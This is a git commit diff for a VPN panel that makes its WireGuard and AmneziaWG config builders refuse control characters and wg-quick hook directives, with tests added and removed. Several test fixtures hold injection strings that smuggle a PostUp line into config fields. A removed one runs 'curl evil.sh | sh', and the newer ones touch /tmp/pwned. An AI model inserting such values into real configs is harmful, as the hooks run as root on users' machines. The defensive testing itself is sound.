fix(wireguard): check every line of generated client configs

The WireGuard and AmneziaWG .conf builders (subscription service, clients
page, inbound modal and subscription page) checked only a few of the values
they write. Each builder now assembles the file line by line and renders
nothing when a line holds a control character, so every value is covered
whatever stored it. A decoded vpn:// payload is refused when it carries a
wg-quick hook directive, which no panel builder writes, and the subscription
page hides a config block that rendered nothing.

The inbound form now validates a WireGuard/AmneziaWG client's allowedIPs on
create and on update, including the stored clients a protocol switch keeps,
as the client endpoints already did.
This commit is contained in:
MHSanaei
2026-10-24 01:10:09 +02:00
parent 57fd61790c
commit 0faad4f4f3
12 changed files with 285 additions and 222 deletions
+20
View File
@@ -0,0 +1,20 @@
// One entry per .conf line, or '' when any entry would split: a line break can
// re-open [Interface], whose PostUp runs as root wherever wg-quick applies it.
export function joinConfLines(lines: readonly string[]): string {
return lines.some(hasControlChar) ? '' : lines.join('\n');
}
function hasControlChar(line: string): boolean {
for (let i = 0; i < line.length; i++) {
const code = line.charCodeAt(i);
if (code < 0x20 || code === 0x7f) return true;
}
return false;
}
// wg-quick matches keys case-insensitively; no panel builder emits these hooks.
const WG_QUICK_HOOK = /^\s*(?:pre|post)(?:up|down)\s*=/im;
export function hasWgQuickHook(conf: string): boolean {
return WG_QUICK_HOOK.test(conf);
}
+42 -58
View File
@@ -14,6 +14,7 @@ import type { FinalMaskStreamSettings } from '@/schemas/protocols/stream/finalma
import type { XHttpStreamSettings } from '@/schemas/protocols/stream/xhttp';
import { parseGeckoPacketSize } from '@/lib/xray/forms/transport/FinalMaskForm';
import { hasWgQuickHook, joinConfLines } from './conf-lines';
import { getHeaderValue } from './headers';
import { canEnableTlsFlow } from './protocol-capabilities';
import { deriveSpiderX } from './spider-x';
@@ -1016,25 +1017,24 @@ export function genWireguardConfig(input: GenWireguardLinkInput): string {
const pubKey =
settings.secretKey.length > 0 ? Wireguard.generateKeypair(settings.secretKey).publicKey : '';
let txt = `[Interface]\n`;
txt += `PrivateKey = ${peer.privateKey ?? ''}\n`;
txt += `Address = ${peer.allowedIPs.join(', ')}\n`;
txt += `DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}\n`;
const lines = [
'[Interface]',
`PrivateKey = ${peer.privateKey ?? ''}`,
`Address = ${peer.allowedIPs.join(', ')}`,
`DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}`,
];
if (typeof settings.mtu === 'number' && settings.mtu > 0) {
txt += `MTU = ${settings.mtu}\n`;
lines.push(`MTU = ${settings.mtu}`);
}
txt += `\n# ${remark}\n`;
txt += `[Peer]\n`;
txt += `PublicKey = ${pubKey}\n`;
txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
txt += `Endpoint = ${address}:${port}`;
lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${pubKey}`, 'AllowedIPs = 0.0.0.0/0, ::/0');
lines.push(`Endpoint = ${address}:${port}`);
if (peer.preSharedKey && peer.preSharedKey.length > 0) {
txt += `\nPresharedKey = ${peer.preSharedKey}`;
lines.push(`PresharedKey = ${peer.preSharedKey}`);
}
if (typeof peer.keepAlive === 'number' && peer.keepAlive > 0) {
txt += `\nPersistentKeepalive = ${peer.keepAlive}\n`;
lines.push(`PersistentKeepalive = ${peer.keepAlive}`, '');
}
return txt;
return joinConfLines(lines);
}
// Shared input shape for both the per-client vpn:// link and .conf
@@ -1086,39 +1086,25 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
if (!client) return '';
const server = settings.server;
// These land unescaped in the .conf; a newline would inject a config line
// (e.g. a rogue PostUp) — same guard as the panel's other two emitters.
for (const v of [
client.privateKey ?? '',
server.primaryDns ?? '',
server.secondaryDns ?? '',
remark,
]) {
if (/[\r\n]/.test(v)) return '';
}
let txt = `[Interface]\n`;
txt += `PrivateKey = ${client.privateKey ?? ''}\n`;
txt += `Address = ${(client.allowedIPs ?? []).join(', ')}\n`;
const lines = [
'[Interface]',
`PrivateKey = ${client.privateKey ?? ''}`,
`Address = ${(client.allowedIPs ?? []).join(', ')}`,
];
const dns = [server.primaryDns, server.secondaryDns].filter((v) => !!v && v.trim() !== '');
if (dns.length > 0) txt += `DNS = ${dns.join(', ')}\n`;
txt += `MTU = ${effectiveMtu(server.mtu, server.s4)}\n`;
txt += `Jc = ${server.jc}\n`;
txt += `Jmin = ${server.jmin}\n`;
txt += `Jmax = ${server.jmax}\n`;
txt += `S1 = ${server.s1}\n`;
txt += `S2 = ${server.s2}\n`;
if (server.s3) txt += `S3 = ${server.s3}\n`;
if (server.s4) txt += `S4 = ${server.s4}\n`;
txt += `${amneziaWGHLine('H1', server.h1, '1')}\n`;
txt += `${amneziaWGHLine('H2', server.h2, '2')}\n`;
txt += `${amneziaWGHLine('H3', server.h3, '3')}\n`;
txt += `${amneziaWGHLine('H4', server.h4, '4')}\n`;
if (server.i1) txt += `I1 = ${server.i1}\n`;
if (server.i2) txt += `I2 = ${server.i2}\n`;
if (server.i3) txt += `I3 = ${server.i3}\n`;
if (server.i4) txt += `I4 = ${server.i4}\n`;
if (server.i5) txt += `I5 = ${server.i5}\n`;
if (dns.length > 0) lines.push(`DNS = ${dns.join(', ')}`);
lines.push(`MTU = ${effectiveMtu(server.mtu, server.s4)}`);
lines.push(`Jc = ${server.jc}`, `Jmin = ${server.jmin}`, `Jmax = ${server.jmax}`);
lines.push(`S1 = ${server.s1}`, `S2 = ${server.s2}`);
if (server.s3) lines.push(`S3 = ${server.s3}`);
if (server.s4) lines.push(`S4 = ${server.s4}`);
lines.push(amneziaWGHLine('H1', server.h1, '1'), amneziaWGHLine('H2', server.h2, '2'));
lines.push(amneziaWGHLine('H3', server.h3, '3'), amneziaWGHLine('H4', server.h4, '4'));
if (server.i1) lines.push(`I1 = ${server.i1}`);
if (server.i2) lines.push(`I2 = ${server.i2}`);
if (server.i3) lines.push(`I3 = ${server.i3}`);
if (server.i4) lines.push(`I4 = ${server.i4}`);
if (server.i5) lines.push(`I5 = ${server.i5}`);
const optional31: Array<[string, string | undefined]> = [
['HeaderProtectionKey', server.headerProtectionKey],
['ContentPaddingAddition', server.contentPaddingAddition],
@@ -1129,25 +1115,22 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
['MaxHandshakeAttempts', server.maxHandshakeAttempts],
];
for (const [key, value] of optional31) {
if (value && value.trim() !== '') txt += `${key} = ${value}\n`;
if (value && value.trim() !== '') lines.push(`${key} = ${value}`);
}
if (server.randomTrailers) txt += `RandomTrailers = on\n`;
if (server.disableCookies) txt += `DisableCookies = on\n`;
if (server.randomTrailers) lines.push('RandomTrailers = on');
if (server.disableCookies) lines.push('DisableCookies = on');
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
// emitters (amneziaWGConfigText in Go, buildAmneziaWGClientConfig); all three
// are independent implementations and must not drift apart.
txt += `\n# ${remark}\n`;
txt += `[Peer]\n`;
txt += `PublicKey = ${server.publicKey ?? ''}\n`;
lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${server.publicKey ?? ''}`);
if (client.preSharedKey && client.preSharedKey.length > 0) {
txt += `PresharedKey = ${client.preSharedKey}\n`;
lines.push(`PresharedKey = ${client.preSharedKey}`);
}
txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
txt += `Endpoint = ${address}:${port}`;
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${address}:${port}`);
if (typeof client.keepAlive === 'number' && client.keepAlive > 0) {
txt += `\nPersistentKeepalive = ${client.keepAlive}`;
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
}
return txt;
return joinConfLines(lines);
}
export interface GenAmneziaWGFanoutInput {
@@ -1253,7 +1236,7 @@ export function wireguardConfigFromLink(link: string, fallbackRemark = ''): stri
if (psk) lines.push(`PresharedKey = ${psk}`);
lines.push(`AllowedIPs = ${allowedIPs}`, `Endpoint = ${endpoint}`);
if (keepAlive && Number(keepAlive) > 0) lines.push(`PersistentKeepalive = ${keepAlive}`);
return lines.join('\n');
return joinConfLines(lines);
}
// Reverse of toBase64Url above -- recovers a vpn:// link's plain .conf
@@ -1278,7 +1261,8 @@ export function amneziawgConfigFromLink(link: string): string {
const trimmed = link.trim();
if (!trimmed.startsWith('vpn://')) return '';
try {
return fromBase64Url(trimmed.slice('vpn://'.length));
const conf = fromBase64Url(trimmed.slice('vpn://'.length));
return hasWgQuickHook(conf) ? '' : conf;
} catch {
return '';
}
@@ -2,6 +2,7 @@ import type { HostEndpoint } from '@/lib/hosts/host-link';
import { formatInboundLabel } from '@/lib/inbounds/label';
import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
import { effectiveMtu } from '@/lib/xray/amneziawg-obfuscation';
import { joinConfLines } from '@/lib/xray/conf-lines';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// AmneziaWG clients are wire-identical to WireGuard clients (same
@@ -58,13 +59,7 @@ export function buildAmneziaWGClientConfig(
.filter(Boolean)
.join(' - ');
// These land unescaped in [Interface]; a newline here would inject a
// config line (e.g. a rogue PostUp) into the downloaded .conf.
const privateKey = client.privateKey || client.password || '';
for (const v of [privateKey, server?.primaryDns ?? '', server?.secondaryDns ?? '', remark]) {
if (/[\r\n]/.test(v)) return '';
}
const dnsParts = [server?.primaryDns, server?.secondaryDns].filter((v) => !!v && v.trim() !== '');
const lines = ['[Interface]', `PrivateKey = ${privateKey}`, `Address = ${address}`];
if (dnsParts.length > 0) lines.push(`DNS = ${dnsParts.join(', ')}`);
@@ -109,5 +104,5 @@ export function buildAmneziaWGClientConfig(
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
if (client.keepAlive && client.keepAlive > 0)
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
return lines.join('\n');
return joinConfLines(lines);
}
@@ -1,5 +1,6 @@
import type { HostEndpoint } from '@/lib/hosts/host-link';
import { formatInboundLabel } from '@/lib/inbounds/label';
import { joinConfLines } from '@/lib/xray/conf-lines';
import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
@@ -54,5 +55,5 @@ export function buildWireguardClientConfig(
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
if (client.keepAlive && client.keepAlive > 0)
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
return lines.join('\n');
return joinConfLines(lines);
}
+6 -5
View File
@@ -34,7 +34,8 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) {
const parts = parseLinkParts(link);
const rowTitle = parts?.remark || `Link ${idx + 1}`;
const isWireguardLink = link.startsWith('wireguard://') || link.startsWith('wg://');
const isAmneziawgLink = link.startsWith('vpn://');
const wireguardConfig = isWireguardLink ? wireguardConfigFromLink(link, rowTitle) : '';
const amneziawgConfig = link.startsWith('vpn://') ? amneziawgConfigFromLink(link) : '';
return (
<Fragment key={link}>
<div className="sub-row">
@@ -54,19 +55,19 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) {
)}
</div>
</div>
{isWireguardLink && (
{wireguardConfig && (
<ConfigBlock
label={t('pages.clients.wireguardConfig')}
text={wireguardConfigFromLink(link, rowTitle)}
text={wireguardConfig}
fileName={`${rowTitle || 'peer'}.conf`}
qrRemark={rowTitle}
tagColor="cyan"
/>
)}
{isAmneziawgLink && (
{amneziawgConfig && (
<ConfigBlock
label={t('pages.clients.amneziaWgConfig')}
text={amneziawgConfigFromLink(link)}
text={amneziawgConfig}
fileName={`${rowTitle || 'peer'}.conf`}
qrRemark={rowTitle}
tagColor="purple"
@@ -1,92 +0,0 @@
import { describe, expect, it } from 'vitest';
import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// A newline in a field that lands unescaped in [Interface] would inject a
// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
const INJECTED = 'x\nPostUp = curl evil.sh | sh';
function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
return {
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
clients: [
{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
],
} as unknown as AmneziawgInboundSettings;
}
describe('AmneziaWG .conf newline-injection guard', () => {
it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
'PrivateKey = clientPrivKey==',
);
expect(
genAmneziaWGConfig({
settings: settingsWith({}, { privateKey: INJECTED }),
remark: 'ok',
...base,
}),
).toBe('');
expect(
genAmneziaWGConfig({
settings: settingsWith({ primaryDns: INJECTED }, {}),
remark: 'ok',
...base,
}),
).toBe('');
expect(
genAmneziaWGConfig({
settings: settingsWith({ secondaryDns: INJECTED }, {}),
remark: 'ok',
...base,
}),
).toBe('');
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
'',
);
});
it('buildAmneziaWGClientConfig refuses injected fields', () => {
const inbound = (server: Record<string, unknown>) =>
({
id: 1,
tag: 'awg-1',
remark: 'awg',
port: 51820,
protocol: 'amneziawg',
awgServer: {
publicKey: 'serverPubKey==',
jc: 4,
jmin: 40,
jmax: 100,
s1: 30,
s2: 90,
...server,
},
}) as unknown as InboundOption;
const client = (extra: Record<string, unknown>) =>
({
email: 'peer-1',
privateKey: 'clientPrivKey==',
allowedIPs: '10.8.1.2/32',
...extra,
}) as unknown as ClientRecord;
expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
'PrivateKey = clientPrivKey==',
);
expect(
buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
).toBe('');
expect(
buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
).toBe('');
expect(
buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
).toBe('');
});
});
@@ -0,0 +1,115 @@
import { describe, expect, it } from 'vitest';
import {
amneziawgConfigFromLink,
genAmneziaWGConfig,
genWireguardConfig,
wireguardConfigFromLink,
} from '@/lib/xray/inbound-link';
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
import { buildWireguardClientConfig } from '@/pages/clients/wireguardConfig';
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// A value carrying a line break adds a line such as a root PostUp to the .conf;
// node sync, an import or an external subscription can each supply one.
const INJECTED = '140232109\nPostUp = touch /tmp/pwned';
const endpoint = { address: 'vpn.example.test', port: 51820, peerIndex: 0, remark: 'peer-1' };
function awgSettings(h1: string) {
return {
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
} as unknown as AmneziawgInboundSettings;
}
function awgInbound(h1: string) {
return {
id: 1,
tag: 'awg-1',
remark: 'awg',
port: 51820,
protocol: 'amneziawg',
awgServer: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
} as unknown as InboundOption;
}
function wgSettings(dns: string) {
return {
secretKey: '',
mtu: 1420,
dns,
peers: [{ privateKey: 'clientPrivKey==', allowedIPs: ['10.0.0.2/32'] }],
} as unknown as WireguardInboundSettings;
}
function wgInbound(wgDns: string) {
return {
id: 2,
tag: 'wg-1',
remark: 'wg',
port: 51820,
protocol: 'wireguard',
wgPublicKey: 'serverPubKey==',
wgDns,
} as unknown as InboundOption;
}
const client = {
email: 'peer-1',
privateKey: 'clientPrivKey==',
allowedIPs: '10.8.1.2/32',
} as unknown as ClientRecord;
function vpnLink(conf: string): string {
return `vpn://${btoa(conf).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')}`;
}
describe('.conf builders render nothing when a value carries a line break', () => {
it('genAmneziaWGConfig', () => {
expect(genAmneziaWGConfig({ settings: awgSettings('1'), ...endpoint })).toContain('H1 = 1\n');
expect(genAmneziaWGConfig({ settings: awgSettings(INJECTED), ...endpoint })).toBe('');
});
it('buildAmneziaWGClientConfig', () => {
expect(buildAmneziaWGClientConfig(client, awgInbound('1'), 'vpn.example.test')).toContain(
'H1 = 1\n',
);
expect(buildAmneziaWGClientConfig(client, awgInbound(INJECTED), 'vpn.example.test')).toBe('');
});
it('genWireguardConfig', () => {
expect(genWireguardConfig({ settings: wgSettings('9.9.9.9'), ...endpoint })).toContain(
'DNS = 9.9.9.9\n',
);
expect(genWireguardConfig({ settings: wgSettings(INJECTED), ...endpoint })).toBe('');
});
it('buildWireguardClientConfig', () => {
expect(buildWireguardClientConfig(client, wgInbound('9.9.9.9'), 'vpn.example.test')).toContain(
'DNS = 9.9.9.9\n',
);
expect(buildWireguardClientConfig(client, wgInbound(INJECTED), 'vpn.example.test')).toBe('');
});
it('wireguardConfigFromLink', () => {
const link = (address: string) =>
`wireguard://PRIVKEY@203.0.113.9:51820/?address=${address}&publickey=PEERPUB&dns=1.1.1.1&allowedips=0.0.0.0%2F0`;
expect(wireguardConfigFromLink(link('10.0.0.2%2F32'))).toContain('Address = 10.0.0.2/32\n');
expect(
wireguardConfigFromLink(link('10.0.0.2%2F32%0APostUp%20%3D%20touch%20%2Ftmp%2Fpwned')),
).toBe('');
});
});
describe('amneziawgConfigFromLink', () => {
// A vpn:// payload is a whole .conf from wherever the subscription got it;
// no panel builder writes a wg-quick hook, so one in a payload was planted.
it('refuses a payload that carries a wg-quick hook directive', () => {
const clean = '[Interface]\nPrivateKey = k\nAddress = 10.8.1.2/32';
expect(amneziawgConfigFromLink(vpnLink(clean))).toBe(clean);
expect(amneziawgConfigFromLink(vpnLink(`${clean}\n postup = touch /tmp/pwned`))).toBe('');
});
});
+37 -37
View File
@@ -983,20 +983,12 @@ func amneziaWGHeaderOrDefault(value, fallback string) string {
// frontend's genAmneziaWGConfig produces (same field order, same optional-field
// conditionals) -- this is the payload wrapped into vpn:// links below.
func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string {
// These land unescaped in [Interface]; a newline here would inject a
// config line (e.g. a rogue PostUp) into the subscriber's .conf.
for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} {
if strings.ContainsAny(v, "\r\n") {
return ""
}
lines := []string{
"[Interface]",
"PrivateKey = " + client.PrivateKey,
"Address = " + strings.Join(client.AllowedIPs, ", "),
}
var b strings.Builder
b.WriteString("[Interface]\n")
fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey)
fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", "))
var dns []string
if server.PrimaryDNS != "" {
dns = append(dns, server.PrimaryDNS)
@@ -1005,30 +997,34 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client,
dns = append(dns, server.SecondaryDNS)
}
if len(dns) > 0 {
fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", "))
lines = append(lines, "DNS = "+strings.Join(dns, ", "))
}
// Always emitted: a missing MTU line leaves the client on its own 1420
// default and fragments the client-to-server direction once S4 passes 20.
fmt.Fprintf(&b, "MTU = %d\n", amneziawg.EffectiveMTU(server.MTU, server.S4))
lines = append(lines, fmt.Sprintf("MTU = %d", amneziawg.EffectiveMTU(server.MTU, server.S4)))
fmt.Fprintf(&b, "Jc = %d\n", server.Jc)
fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin)
fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax)
fmt.Fprintf(&b, "S1 = %d\n", server.S1)
fmt.Fprintf(&b, "S2 = %d\n", server.S2)
lines = append(lines,
fmt.Sprintf("Jc = %d", server.Jc),
fmt.Sprintf("Jmin = %d", server.Jmin),
fmt.Sprintf("Jmax = %d", server.Jmax),
fmt.Sprintf("S1 = %d", server.S1),
fmt.Sprintf("S2 = %d", server.S2),
)
if server.S3 > 0 {
fmt.Fprintf(&b, "S3 = %d\n", server.S3)
lines = append(lines, fmt.Sprintf("S3 = %d", server.S3))
}
if server.S4 > 0 {
fmt.Fprintf(&b, "S4 = %d\n", server.S4)
lines = append(lines, fmt.Sprintf("S4 = %d", server.S4))
}
fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1"))
fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2"))
fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3"))
fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4"))
lines = append(lines,
"H1 = "+amneziaWGHeaderOrDefault(server.H1, "1"),
"H2 = "+amneziaWGHeaderOrDefault(server.H2, "2"),
"H3 = "+amneziaWGHeaderOrDefault(server.H3, "3"),
"H4 = "+amneziaWGHeaderOrDefault(server.H4, "4"),
)
for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} {
if v != "" {
fmt.Fprintf(&b, "I%d = %s\n", i+1, v)
lines = append(lines, fmt.Sprintf("I%d = %s", i+1, v))
}
}
optional := []struct{ key, v string }{
@@ -1042,33 +1038,37 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client,
}
for _, p := range optional {
if p.v != "" {
fmt.Fprintf(&b, "%s = %s\n", p.key, p.v)
lines = append(lines, p.key+" = "+p.v)
}
}
if server.RandomTrailers {
b.WriteString("RandomTrailers = on\n")
lines = append(lines, "RandomTrailers = on")
}
if server.DisableCookies {
b.WriteString("DisableCookies = on\n")
lines = append(lines, "DisableCookies = on")
}
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
// emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are
// independent implementations, so any drift here is invisible until a user
// compares a subscription link against a downloaded .conf.
fmt.Fprintf(&b, "\n# %s\n", remark)
b.WriteString("[Peer]\n")
fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey)
lines = append(lines, "", "# "+remark, "[Peer]", "PublicKey = "+server.PublicKey)
if client.PreSharedKey != "" {
fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey)
lines = append(lines, "PresharedKey = "+client.PreSharedKey)
}
b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n")
fmt.Fprintf(&b, "Endpoint = %s:%d", host, port)
lines = append(lines, "AllowedIPs = 0.0.0.0/0, ::/0", fmt.Sprintf("Endpoint = %s:%d", host, port))
if ka := client.KeepAliveSeconds(); ka > 0 {
fmt.Fprintf(&b, "\nPersistentKeepalive = %d", ka)
lines = append(lines, fmt.Sprintf("PersistentKeepalive = %d", ka))
}
return b.String()
// A control character would split its line, and the split can re-open
// [Interface], whose PostUp runs as root wherever awg-quick applies this.
for _, line := range lines {
if amneziawg.ValidateConfigValue("config line", line) != nil {
return ""
}
}
return strings.Join(lines, "\n")
}
// genAmneziaWGLink builds a per-client vpn://<base64url .conf text> share
+6 -22
View File
@@ -241,9 +241,9 @@ func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
})
}
// A newline in a field that lands unescaped in [Interface] would inject a
// config line (e.g. a rogue PostUp); the emitter must refuse to render it.
func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
// A value carrying a line break would add a line such as a root PostUp to the
// subscriber's .conf; a node reports server fields that no save path validated.
func TestAmneziaWGConfigTextRejectsLineBreakInAnyValue(t *testing.T) {
server := &amneziawg.ServerSettings{
PublicKey: "serverPub==",
PrimaryDNS: "8.8.8.8",
@@ -256,25 +256,9 @@ func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
t.Fatalf("clean input did not render: %q", clean)
}
injected := "x\nPostUp = curl evil.sh | sh"
cases := []struct {
name string
mutate func(s *amneziawg.ServerSettings, c *model.Client) string
}{
{"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
{"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
{"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
{"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
s := *server
c := *client
remark := tc.mutate(&s, &c)
if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
}
})
server.H1 = "140232109\nPostUp = touch /tmp/pwned"
if got := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1"); got != "" {
t.Fatalf("H1 with a line break rendered a config:\n%s", got)
}
}
+7
View File
@@ -1409,6 +1409,9 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if client.PublicKey == "" {
return inbound, false, common.NewError("wireguard client requires a key")
}
if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil {
return inbound, false, err
}
case "mtproto":
if client.Secret == "" {
return inbound, false, common.NewError("mtproto client requires a secret")
@@ -1923,6 +1926,10 @@ func (s *InboundService) validateUpdatedInboundClients(inbound *model.Inbound) e
if client.Password == "" {
return common.NewError("empty client ID")
}
case model.WireGuard, model.AmneziaWG:
if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil {
return err
}
case model.TUIC:
if client.ID == "" {
return common.NewError("empty client ID")
@@ -265,6 +265,30 @@ func TestNormalizeAmneziaWGSettings_RejectsInjectedClientAllowedIPs(t *testing.T
}
}
// A protocol switch keeps the stored clients, re-injected after the AmneziaWG
// normalize ran, so a WireGuard row's bad allowedIPs skipped every check.
func TestUpdateInbound_ProtocolSwitchRejectsStoredClientAllowedIPs(t *testing.T) {
setupConflictDB(t)
stored := mkInbound(t, 51830, model.WireGuard, `{"secretKey":"`+awgTestPrivateKey+`","clients":[{"email":"sw@x","enable":true,`+
`"privateKey":"`+awgTestPrivateKey+`","publicKey":"`+awgTestPublicKey+`","allowedIPs":["10.8.1.2/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`)
update := *stored
update.Protocol = model.AmneziaWG
update.Settings = `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`
_, _, err := (&InboundService{}).UpdateInbound(&update)
if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") {
t.Fatalf("UpdateInbound err = %v, want an invalid allowedIPs entry error", err)
}
var after model.Inbound
if err := database.GetDB().First(&after, stored.Id).Error; err != nil {
t.Fatalf("reload: %v", err)
}
if after.Protocol != model.WireGuard {
t.Fatalf("rejected switch was persisted: protocol = %q", after.Protocol)
}
}
func TestNormalizeAmneziaWGSettings_CanonicalizesClientAllowedIPs(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
@@ -2,6 +2,7 @@ package service
import (
"encoding/json"
"strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database"
@@ -149,6 +150,29 @@ func TestAddInbound_AcceptsWireguardClientWithKey(t *testing.T) {
}
}
// The client endpoints already refuse a non-prefix allowedIPs entry; the inbound
// form stored it verbatim, and a line break in it reaches every rendered .conf.
func TestAddInbound_RejectsWireguardClientAllowedIPsThatIsNotAPrefix(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
settings := `{"secretKey":"` + wgTestSecretKey() + `","mtu":1420,"clients":[{"email":"wgbad@x","enable":true,"privateKey":"keep-priv","publicKey":"keep-pub",` +
`"allowedIPs":["10.0.0.51/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`
in := &model.Inbound{Tag: "in-45201-wg", Enable: true, Listen: "0.0.0.0", Port: 45201, Protocol: model.WireGuard, Settings: settings}
_, _, err := svc.AddInbound(in)
if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") {
t.Fatalf("AddInbound err = %v, want an invalid allowedIPs entry error", err)
}
var count int64
if err := database.GetDB().Model(&model.Inbound{}).Where("tag = ?", "in-45201-wg").Count(&count).Error; err != nil {
t.Fatalf("count: %v", err)
}
if count != 0 {
t.Fatalf("rejected WireGuard inbound was persisted anyway, row count = %d", count)
}
}
// end-to-end: same guard on the update path, on a row that was valid before
// the edit — the rejected StreamSettings must not overwrite the stored row.
func TestUpdateInbound_RejectsFinalMaskRealityCombo(t *testing.T) {